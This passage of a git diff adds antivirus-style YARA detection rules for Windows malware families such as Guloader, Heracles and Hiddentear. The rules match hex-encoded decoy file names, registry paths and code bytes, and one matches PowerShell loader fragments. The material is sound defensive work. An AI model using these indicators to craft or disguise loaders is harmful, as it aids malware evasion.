6e 63 65 } //1 \chaussebrolgningernes\provence + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LXF_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LXF_MTB.yar new file mode 100644 index 0000000000..1aa2b5d8f9 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LXF_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_Guloader_LXF_MTB{ + meta: + description = "Trojan:Win32/Guloader.LXF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_81_0 = {73 6b 75 65 73 70 69 6c 6b 75 6e 73 74 73 2e 74 68 65 } //1 skuespilkunsts.the + $a_81_1 = {64 61 6d 65 62 6c 61 64 73 6c 73 65 72 65 6e 73 2e 6a 70 67 } //1 damebladslserens.jpg + $a_81_2 = {54 72 6f 6c 6c 65 79 62 75 73 31 39 33 2e 74 78 74 } //1 Trolleybus193.txt + $a_81_3 = {4d 61 72 69 65 68 6e 65 72 73 2e 70 6c 65 } //1 Mariehners.ple + $a_81_4 = {4b 61 74 69 61 73 2e 74 78 74 } //1 Katias.txt + $a_81_5 = {48 65 73 74 65 70 72 65 72 31 32 37 2e 6a 70 67 } //1 Hesteprer127.jpg + $a_81_6 = {62 6c 61 64 66 64 64 65 72 2e 65 78 65 } //1 bladfdder.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LXH_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LXH_MTB.yar new file mode 100644 index 0000000000..34e054bc56 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LXH_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_Guloader_LXH_MTB{ + meta: + description = "Trojan:Win32/Guloader.LXH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_81_0 = {63 72 6f 77 64 69 6e 67 20 6c 69 6d 65 6c 69 6b 65 } //1 crowding limelike + $a_81_1 = {66 6f 73 74 65 72 68 69 6e 64 65 20 70 72 6f 66 61 6e 65 64 2e 65 78 65 } //1 fosterhinde profaned.exe + $a_81_2 = {62 61 64 65 73 74 65 64 65 74 } //1 badestedet + $a_81_3 = {6b 6f 6c 6c 69 6e 67 20 74 72 6f 6e 61 67 65 } //1 kolling tronage + $a_81_4 = {70 72 65 73 63 72 69 70 74 69 76 69 73 6d 2e 74 65 6e } //1 prescriptivism.ten + $a_81_5 = {62 65 6c 6c 6d 61 6b 69 6e 67 2e 64 69 72 } //1 bellmaking.dir + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_RKF_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_RKF_MTB.yar new file mode 100644 index 0000000000..5157784940 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_RKF_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Guloader_RKF_MTB{ + meta: + description = "Trojan:Win32/Guloader.RKF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {62 72 6e 64 62 6f 72 65 72 6d 65 73 74 65 72 } //1 brndborermester + $a_81_1 = {73 6b 72 61 6c 64 65 72 67 72 69 6e 65 72 } //1 skraldergriner + $a_81_2 = {61 70 70 65 74 69 73 65 6d 65 6e 74 73 } //1 appetisements + $a_81_3 = {73 74 72 69 64 73 68 61 6e 64 73 6b 65 72 6e 65 } //1 stridshandskerne + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_RPH_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_RPH_MTB.yar index 506c346221..82d5131b78 100644 --- a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_RPH_MTB.yar +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_RPH_MTB.yar @@ -1,5 +1,18 @@ rule Trojan_Win32_Guloader_RPH_MTB{ + meta: + description = "Trojan:Win32/Guloader.RPH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,79 00 79 00 04 00 00 " + + strings : + $a_00_0 = {63 00 61 00 74 00 20 00 2d 00 72 00 61 00 77 00 20 00 27 00 } //10 cat -raw ' + $a_00_1 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 } //1 powershell.exe + $a_00_2 = {5c 00 54 00 65 00 6b 00 73 00 74 00 62 00 65 00 68 00 61 00 6e 00 64 00 6c 00 69 00 6e 00 67 00 73 00 64 00 6f 00 6b 00 75 00 6d 00 65 00 6e 00 74 00 65 00 72 00 5c 00 } //100 \Tekstbehandlingsdokumenter\ + $a_02_3 = {2e 00 73 00 75 00 62 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-0c] 2c 00 33 00 29 00 3b 00 2e 00 24 00 } //10 + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*1+(#a_00_2 & 1)*100+(#a_02_3 & 1)*10) >=121 + +} +rule Trojan_Win32_Guloader_RPH_MTB_2{ meta: description = "Trojan:Win32/Guloader.RPH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 00 " diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_RPM_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_RPM_MTB.yar index a31cad46e0..24228cdd72 100644 --- a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_RPM_MTB.yar +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_RPM_MTB.yar @@ -18,4 +18,24 @@ rule Trojan_Win32_Guloader_RPM_MTB{ condition: ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1) >=11 +} +rule Trojan_Win32_Guloader_RPM_MTB_2{ + meta: + description = "Trojan:Win32/Guloader.RPM!MTB,SIGNATURE_TYPE_PEHSTR,1d 00 1d 00 0b 00 00 " + + strings : + $a_01_0 = {41 6e 61 6c 65 72 6f 74 69 6b 6b 65 6e 5c 63 61 79 2e 68 74 6d } //1 Analerotikken\cay.htm + $a_01_1 = {61 66 66 6c 64 69 67 73 74 5c 66 6c 79 6d 61 6e 2e 67 69 66 } //1 affldigst\flyman.gif + $a_01_2 = {4b 79 73 74 73 74 72 6b 6e 69 6e 67 65 72 2e 7a 69 70 } //1 Kyststrkninger.zip + $a_01_3 = {73 6b 6f 6c 65 67 61 61 72 64 65 2e 74 78 74 } //1 skolegaarde.txt + $a_01_4 = {74 6f 72 75 6c 61 73 2e 7a 69 70 } //10 torulas.zip + $a_01_5 = {73 6d 75 64 73 65 74 73 5c 64 6f 75 62 6c 65 68 65 61 72 74 65 64 6e 65 73 73 2e 62 69 6e } //1 smudsets\doubleheartedness.bin + $a_01_6 = {43 61 74 61 6c 65 70 74 69 7a 65 5c 68 6b 73 61 6b 73 65 6e 73 2e 69 6e 69 } //1 Cataleptize\hksaksens.ini + $a_01_7 = {66 75 72 66 75 72 2e 6c 6e 6b } //1 furfur.lnk + $a_01_8 = {68 75 6d 64 72 75 6d 6d 69 6e 65 73 73 5c 72 64 76 69 6e 65 73 2e 7a 69 70 } //1 humdrumminess\rdvines.zip + $a_01_9 = {6f 78 79 64 65 72 69 6e 67 65 72 6e 65 5c 6b 61 6c 6b 65 6e 65 73 5c 53 76 65 64 65 72 65 6d 6d 65 6e 65 73 } //10 oxyderingerne\kalkenes\Svederemmenes + $a_01_10 = {49 6e 64 74 61 70 70 65 73 2e 62 69 6e } //1 Indtappes.bin + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*10+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*10+(#a_01_10 & 1)*1) >=29 + } \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_RPN_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_RPN_MTB.yar index 263e8cfaad..8c7b45146c 100644 --- a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_RPN_MTB.yar +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_RPN_MTB.yar @@ -39,4 +39,22 @@ rule Trojan_Win32_Guloader_RPN_MTB_3{ condition: ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 +} +rule Trojan_Win32_Guloader_RPN_MTB_4{ + meta: + description = "Trojan:Win32/Guloader.RPN!MTB,SIGNATURE_TYPE_PEHSTR,12 00 12 00 09 00 00 " + + strings : + $a_01_0 = {53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 6e 00 6f 00 6e 00 72 00 65 00 61 00 73 00 6f 00 6e 00 69 00 6e 00 67 00 5c 00 64 00 61 00 67 00 73 00 61 00 6b 00 74 00 75 00 65 00 6c 00 74 00 } //10 Software\nonreasoning\dagsaktuelt + $a_01_1 = {42 00 69 00 6b 00 75 00 62 00 65 00 72 00 31 00 31 00 2e 00 63 00 6f 00 6d 00 } //1 Bikuber11.com + $a_01_2 = {46 00 6f 00 72 00 6c 00 65 00 6d 00 73 00 2e 00 62 00 61 00 72 00 } //1 Forlems.bar + $a_01_3 = {52 00 65 00 66 00 65 00 72 00 73 00 2e 00 69 00 6e 00 69 00 } //1 Refers.ini + $a_01_4 = {52 00 65 00 6e 00 6f 00 77 00 6e 00 6c 00 65 00 73 00 73 00 2e 00 69 00 6e 00 69 00 } //1 Renownless.ini + $a_01_5 = {53 00 75 00 6e 00 64 00 68 00 65 00 64 00 73 00 74 00 65 00 67 00 6e 00 65 00 6e 00 65 00 2e 00 74 00 78 00 74 00 } //1 Sundhedstegnene.txt + $a_01_6 = {55 00 6e 00 63 00 68 00 61 00 72 00 61 00 63 00 74 00 65 00 72 00 69 00 7a 00 65 00 64 00 2e 00 69 00 6e 00 69 00 } //1 Uncharacterized.ini + $a_01_7 = {73 00 6b 00 61 00 74 00 74 00 65 00 61 00 61 00 72 00 65 00 6e 00 65 00 2e 00 74 00 78 00 74 00 } //1 skatteaarene.txt + $a_01_8 = {6e 00 73 00 69 00 73 00 2e 00 73 00 66 00 2e 00 6e 00 65 00 74 00 2f 00 4e 00 53 00 49 00 53 00 5f 00 45 00 72 00 72 00 6f 00 72 00 } //1 nsis.sf.net/NSIS_Error + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1) >=18 + } \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SFF_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SFF_MTB.yar new file mode 100644 index 0000000000..34564ca407 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SFF_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_Guloader_SFF_MTB{ + meta: + description = "Trojan:Win32/Guloader.SFF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 00 " + + strings : + $a_81_0 = {55 6e 64 65 72 6c 69 76 65 6e 65 73 } //2 Underlivenes + $a_81_1 = {53 74 6f 72 6b 65 6e 62 62 65 6e 65 2e 43 68 61 } //1 Storkenbbene.Cha + $a_81_2 = {6b 76 61 6c 69 74 65 74 73 6d 73 73 69 67 74 } //1 kvalitetsmssigt + $a_81_3 = {62 65 6e 65 66 69 63 65 6c 65 73 73 2e 69 6e 69 } //1 beneficeless.ini + $a_81_4 = {62 65 73 6b 72 69 6e 67 65 72 6e 65 73 2e 6b 6c 6f } //1 beskringernes.klo + $a_81_5 = {67 61 69 6e 66 75 6c 6c 79 2e 69 6e 69 } //1 gainfully.ini + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SLEF_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SLEF_MTB.yar new file mode 100644 index 0000000000..39fe016101 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SLEF_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Guloader_SLEF_MTB{ + meta: + description = "Trojan:Win32/Guloader.SLEF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {68 00 75 00 72 00 74 00 6c 00 69 00 6e 00 67 00 6c 00 79 00 20 00 65 00 72 00 67 00 6f 00 6d 00 65 00 74 00 65 00 72 00 63 00 79 00 6b 00 6c 00 65 00 6e 00 2e 00 65 00 78 00 65 00 } //2 hurtlingly ergometercyklen.exe + $a_01_1 = {70 00 6f 00 6c 00 79 00 70 00 68 00 61 00 73 00 61 00 6c 00 20 00 73 00 6e 00 6f 00 74 00 6e 00 73 00 65 00 74 00 } //2 polyphasal snotnset + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SLHE_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SLHE_MTB.yar new file mode 100644 index 0000000000..7897ebe54b --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SLHE_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Guloader_SLHE_MTB{ + meta: + description = "Trojan:Win32/Guloader.SLHE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 00 " + + strings : + $a_01_0 = {54 79 70 69 63 6f 6e 5c 4b 75 6f 6d 69 6e 74 61 6e 67 } //2 Typicon\Kuomintang + $a_01_1 = {53 70 69 6c 64 65 76 61 6e 64 73 63 69 72 6b 75 6c 72 65 73 32 35 2e 67 65 6e } //2 Spildevandscirkulres25.gen + $a_01_2 = {74 72 61 66 69 6b 65 6c 65 76 65 72 2e 69 6e 69 } //2 trafikelever.ini + $a_01_3 = {5c 73 75 62 73 79 73 74 65 6d 73 5c 72 65 63 6f 6e 63 69 6c 69 61 62 69 6c 69 74 79 2e 68 74 6d } //2 \subsystems\reconciliability.htm + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SLHI_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SLHI_MTB.yar new file mode 100644 index 0000000000..ae86f25bcc --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SLHI_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Guloader_SLHI_MTB{ + meta: + description = "Trojan:Win32/Guloader.SLHI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 00 " + + strings : + $a_01_0 = {53 70 72 65 64 6e 69 6e 67 73 6d 65 74 65 6f 72 6f 6c 6f 67 69 73 6b 65 36 } //2 Spredningsmeteorologiske6 + $a_01_1 = {4b 6f 64 6e 69 6e 67 73 74 65 6f 72 69 65 6e } //2 Kodningsteorien + $a_01_2 = {50 61 72 74 69 6b 75 6c 61 72 69 73 6d 65 6e 35 } //2 Partikularismen5 + $a_01_3 = {54 72 79 6c 6c 65 6b 75 6e 73 74 6e 65 72 65 6e 33 } //2 Tryllekunstneren3 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SLJH_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SLJH_MTB.yar new file mode 100644 index 0000000000..cc4407691f --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SLJH_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Guloader_SLJH_MTB{ + meta: + description = "Trojan:Win32/Guloader.SLJH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 00 " + + strings : + $a_01_0 = {5c 00 73 00 75 00 67 00 61 00 72 00 68 00 6f 00 75 00 73 00 65 00 73 00 5c 00 72 00 68 00 6f 00 6d 00 62 00 6f 00 69 00 64 00 65 00 73 00 2e 00 6c 00 6e 00 6b 00 } //2 \sugarhouses\rhomboides.lnk + $a_01_1 = {53 00 74 00 61 00 6e 00 64 00 61 00 72 00 64 00 70 00 72 00 6f 00 64 00 75 00 6b 00 74 00 65 00 72 00 5c 00 74 00 65 00 6c 00 65 00 67 00 72 00 61 00 6d 00 6d 00 65 00 } //2 Standardprodukter\telegramme + $a_01_2 = {5c 00 47 00 72 00 61 00 6d 00 6d 00 6f 00 66 00 6f 00 6e 00 70 00 6c 00 61 00 64 00 65 00 6e 00 37 00 2e 00 68 00 74 00 6d 00 22 00 } //2 \Grammofonpladen7.htm" + $a_01_3 = {70 00 65 00 72 00 69 00 63 00 75 00 6c 00 6f 00 75 00 73 00 5c 00 54 00 72 00 61 00 6e 00 73 00 6c 00 65 00 74 00 74 00 65 00 72 00 } //2 periculous\Transletter + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SLTI_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SLTI_MTB.yar new file mode 100644 index 0000000000..4e14ad2496 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SLTI_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Guloader_SLTI_MTB{ + meta: + description = "Trojan:Win32/Guloader.SLTI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 00 " + + strings : + $a_01_0 = {4c 00 65 00 6b 00 74 00 6f 00 72 00 61 00 74 00 65 00 72 00 6e 00 65 00 73 00 2e 00 74 00 78 00 74 00 } //2 Lektoraternes.txt + $a_01_1 = {61 00 64 00 67 00 61 00 6e 00 67 00 73 00 6b 00 75 00 72 00 73 00 75 00 73 00 2e 00 74 00 78 00 74 00 } //2 adgangskursus.txt + $a_01_2 = {66 00 6f 00 72 00 61 00 6e 00 64 00 72 00 69 00 6e 00 67 00 73 00 75 00 76 00 69 00 6c 00 6c 00 69 00 67 00 2e 00 62 00 75 00 72 00 } //2 forandringsuvillig.bur + $a_01_3 = {73 00 63 00 68 00 69 00 7a 00 6f 00 6e 00 65 00 75 00 72 00 61 00 2e 00 6a 00 70 00 67 00 } //2 schizoneura.jpg + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SLUP_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SLUP_MTB.yar new file mode 100644 index 0000000000..f56d2dd213 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SLUP_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_Guloader_SLUP_MTB{ + meta: + description = "Trojan:Win32/Guloader.SLUP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 07 00 00 " + + strings : + $a_01_0 = {5c 00 73 00 70 00 72 00 6e 00 67 00 65 00 6d 00 6e 00 65 00 72 00 73 00 2e 00 69 00 6e 00 69 00 } //2 \sprngemners.ini + $a_01_1 = {5c 00 75 00 64 00 67 00 61 00 76 00 65 00 72 00 6e 00 65 00 73 00 2e 00 68 00 74 00 6d 00 } //2 \udgavernes.htm + $a_01_2 = {61 00 75 00 74 00 6f 00 63 00 68 00 74 00 68 00 6f 00 6e 00 61 00 6c 00 2e 00 72 00 75 00 6e 00 } //2 autochthonal.run + $a_01_3 = {55 00 6e 00 62 00 65 00 61 00 74 00 61 00 62 00 6c 00 79 00 5c 00 72 00 75 00 73 00 74 00 65 00 74 00 5c 00 62 00 72 00 65 00 64 00 6e 00 69 00 6e 00 67 00 65 00 72 00 } //2 Unbeatably\rustet\bredninger + $a_01_4 = {74 00 72 00 66 00 6f 00 72 00 61 00 72 00 62 00 65 00 6a 00 64 00 6e 00 69 00 6e 00 67 00 73 00 76 00 69 00 72 00 6b 00 73 00 6f 00 6d 00 68 00 65 00 64 00 73 00 5c 00 65 00 6b 00 6f 00 69 00 5c 00 74 00 61 00 61 00 67 00 65 00 64 00 65 00 73 00 } //2 trforarbejdningsvirksomheds\ekoi\taagedes + $a_01_5 = {61 00 6e 00 74 00 69 00 62 00 69 00 6f 00 74 00 69 00 6b 00 61 00 2e 00 6a 00 70 00 67 00 } //2 antibiotika.jpg + $a_01_6 = {73 00 74 00 69 00 6b 00 70 00 69 00 6c 00 6c 00 65 00 72 00 6e 00 65 00 2e 00 73 00 6c 00 69 00 } //2 stikpillerne.sli + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2+(#a_01_5 & 1)*2+(#a_01_6 & 1)*2) >=14 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SPF_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SPF_MTB.yar new file mode 100644 index 0000000000..0c11675a98 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SPF_MTB.yar @@ -0,0 +1,18 @@ + +rule Trojan_Win32_Guloader_SPF_MTB{ + meta: + description = "Trojan:Win32/Guloader.SPF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 08 00 00 " + + strings : + $a_81_0 = {55 6e 73 61 6c 75 62 72 69 6f 75 73 6c 79 2e 6a 70 67 } //2 Unsalubriously.jpg + $a_01_1 = {6b 00 6e 00 68 00 6a 00 65 00 5c 00 68 00 79 00 70 00 6f 00 68 00 79 00 61 00 6c 00 } //2 knhje\hypohyal + $a_81_2 = {54 6f 72 75 6d 73 6c 65 6a 6c 69 67 68 65 64 65 72 73 5c 70 6f 6e 74 61 6c } //1 Torumslejligheders\pontal + $a_81_3 = {62 65 74 61 74 72 6f 6e 73 2e 74 69 64 } //1 betatrons.tid + $a_81_4 = {63 6f 65 6d 70 74 69 76 65 2e 62 72 69 } //1 coemptive.bri + $a_81_5 = {6f 62 6a 65 6b 74 69 76 69 73 65 72 69 6e 67 65 72 73 2e 74 78 74 } //1 objektiviseringers.txt + $a_81_6 = {53 63 6f 72 65 62 6f 61 72 64 73 5c 46 6f 72 73 6b 79 64 6e 69 6e 67 65 72 73 } //1 Scoreboards\Forskydningers + $a_81_7 = {73 6f 6f 74 68 73 61 77 2e 61 66 73 } //1 soothsaw.afs + condition: + ((#a_81_0 & 1)*2+(#a_01_1 & 1)*2+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SPS_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SPS_MTB.yar new file mode 100644 index 0000000000..1cc6e7179d --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_SPS_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_Guloader_SPS_MTB{ + meta: + description = "Trojan:Win32/Guloader.SPS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 00 " + + strings : + $a_01_0 = {64 00 65 00 6b 00 75 00 70 00 72 00 65 00 72 00 6e 00 65 00 } //2 dekuprerne + $a_01_1 = {50 00 6c 00 73 00 65 00 66 00 61 00 62 00 72 00 69 00 6b 00 61 00 6e 00 74 00 65 00 72 00 31 00 30 00 38 00 } //2 Plsefabrikanter108 + $a_01_2 = {77 00 61 00 75 00 72 00 65 00 67 00 61 00 6e 00 5c 00 61 00 67 00 72 00 6f 00 6e 00 6f 00 6d 00 73 00 } //1 wauregan\agronoms + $a_01_3 = {48 00 65 00 6a 00 72 00 65 00 72 00 73 00 31 00 38 00 35 00 5c 00 42 00 6f 00 72 00 74 00 66 00 69 00 6c 00 74 00 72 00 65 00 72 00 69 00 6e 00 67 00 } //1 Hejrers185\Bortfiltrering + $a_01_4 = {6d 00 6f 00 6e 00 6f 00 70 00 68 00 6f 00 6e 00 69 00 63 00 5c 00 55 00 6e 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 5c 00 42 00 65 00 74 00 6f 00 6e 00 69 00 65 00 6e 00 5c 00 72 00 65 00 74 00 73 00 68 00 61 00 6e 00 64 00 6c 00 65 00 72 00 } //1 monophonic\Uninstall\Betonien\retshandler + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/HeavensGate/Trojan_Win32_HeavensGate_GVA_MTB.yar b/Trojan/Win32/HeavensGate/Trojan_Win32_HeavensGate_GVA_MTB.yar new file mode 100644 index 0000000000..77b2d86e88 --- /dev/null +++ b/Trojan/Win32/HeavensGate/Trojan_Win32_HeavensGate_GVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_HeavensGate_GVA_MTB{ + meta: + description = "Trojan:Win32/HeavensGate.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {f7 75 14 8b 45 10 01 d0 0f b6 08 8b 55 08 8b 45 f4 01 d0 31 cb 89 da 88 10 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Heracles/Trojan_Win32_Heracles_ARAX_MTB.yar b/Trojan/Win32/Heracles/Trojan_Win32_Heracles_ARAX_MTB.yar new file mode 100644 index 0000000000..6927060b22 --- /dev/null +++ b/Trojan/Win32/Heracles/Trojan_Win32_Heracles_ARAX_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Heracles_ARAX_MTB{ + meta: + description = "Trojan:Win32/Heracles.ARAX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_01_0 = {24 30 37 63 61 63 30 34 39 2d 61 32 33 38 2d 34 35 66 32 2d 39 31 39 36 2d 30 64 62 66 31 63 34 39 32 39 35 62 } //2 $07cac049-a238-45f2-9196-0dbf1c49295b + $a_01_1 = {73 76 63 68 6f 73 74 2e 4c 6f 67 69 6e 2e 72 65 73 6f 75 72 63 65 73 } //2 svchost.Login.resources + $a_01_2 = {73 76 63 68 6f 73 74 2e 73 76 63 68 6f 73 74 2e 72 65 73 6f 75 72 63 65 73 } //2 svchost.svchost.resources + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Hiddentear/Trojan_Win32_Hiddentear_Z_MTB.yar b/Trojan/Win32/Hiddentear/Trojan_Win32_Hiddentear_Z_MTB.yar new file mode 100644 index 0000000000..43bbdaecae --- /dev/null +++ b/Trojan/Win32/Hiddentear/Trojan_Win32_Hiddentear_Z_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Hiddentear_Z_MTB{ + meta: + description = "Trojan:Win32/Hiddentear.Z!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 00 " + + strings : + $a_01_0 = {00 01 12 80 a1 12 81 0d 05 00 00 12 81 11 07 20 02 01 0e 12 81 11 06 00 01 12 81 15 0e 17 07 0d 08 08 08 1d 05 0a 0a 08 12 80 a9 12 80 ad 11 2c 02 02 12 80 b1 0a 20 03 01 0e 11 81 19 11 81 1d 04 20 01 01 0a 03 20 00 0a 09 20 02 12 81 25 1d 05 1d 05 0c 20 03 01 12 81 0d 12 81 25 11 81 29 07 20 03 08 1d 05 08 08 07 20 03 01 1d 05 08 08 1b 07 0f 08 08 08 1d 05 0a 0a 08 12 